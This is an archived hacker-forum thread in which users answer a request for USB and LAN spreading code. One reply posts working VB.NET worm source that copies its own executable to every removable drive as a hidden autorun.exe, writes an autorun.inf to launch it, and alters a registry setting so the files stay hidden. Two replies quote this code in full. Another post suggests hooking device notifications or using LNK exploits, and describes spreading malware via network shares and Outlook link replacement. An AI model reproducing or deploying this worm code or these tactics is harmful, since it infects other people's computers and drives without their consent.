+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C] Lan spread source code ? (/showthread.php?tid=2576427)
Lan spread source code ? - Fjertbert - Jun 11, 2012
Anyone got Lan spread source code and usb thanks
* - vive facile - Jun 11, 2012
Try expressing a coherent thought by writing intelligibly?
* - the.torrent6 - Oct 28, 2013
Code
Imports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End ModuleCall USBInfect()
* - Qmz_ - Oct 28, 2013
(Oct 28, 2013 01:58 PM)the.torrent6 Wrote:CodeImports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Call USBInfect()
Congratz on your first post! Now how is that related to this section?
* - Obergruppenführer - Oct 28, 2013
(Oct 28, 2013 01:58 PM)the.torrent6 Wrote:CodeImports System.IO
Imports System.Windows.Forms
Imports Microsoft.Win32
Module USB
Sub USBInfect()
On Error Resume Next
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", RegistryValueKind.DWord)
Dim DriveList As String() = Environment.GetLogicalDrives()
For i As Integer = 0 To DriveList.Length - 1
Dim di As New DriveInfo(DriveList(i))
If di.DriveType = DriveType.Removable Then
If Not di.IsReady = False Then
If Not File.Exists(DriveList(i) & "autorun.exe") Then
File.Copy(Application.ExecutablePath, DriveList(i) & "autorun.exe", True)
My.Computer.FileSystem.WriteAllText(DriveList(i) & "autorun.inf", "[autorun]" & vbCrLf & "open=" & DriveList(i) & "autorun.exe" & vbCrLf & "shellexecute=" & DriveList(i), True)
SetAttr(DriveList(i) & "autorun.exe", FileAttribute.Hidden)
SetAttr(DriveList(i) & "autorun.inf", FileAttribute.Hidden)
End If
End If
End If
Next
End Sub
End Module
Call USBInfect()
This thread is over 4 months old and that isn't even in the right section.
* - Irritiable - Oct 29, 2013
(Oct 28, 2013 06:48 PM)Suffᴏkate Wrote: This thread is over 4 months old and that isn't even in the right section.
It's also over 2 minutes old. And that isn't even close to how old it really is.
That's just the minimum (now expired) value. The maximum? 06-11-2012, 01:10 PM to the moment you read this post.
* - bobcat321 - Oct 29, 2013
Hook the Windows API and wait for a removable device to be plugged in [below Syntax] - For something common use a LNK exploit
Code
HDEVNOTIFY WINAPI RegisterDeviceNotification(
_In_ HANDLE hRecipient,
_In_ LPVOID NotificationFilter,
_In_ DWORD Flags
);Something I tried a year or so back was to attempt and spread my malware to available network shares and then inject in to Outlook, replacing the links within hyper-linked text with the link to my malware. Only users within the domain who had access to the network (usually LAN) - some VPN users would get infected.
🤝
EDIT: OP is 4 months old, fail.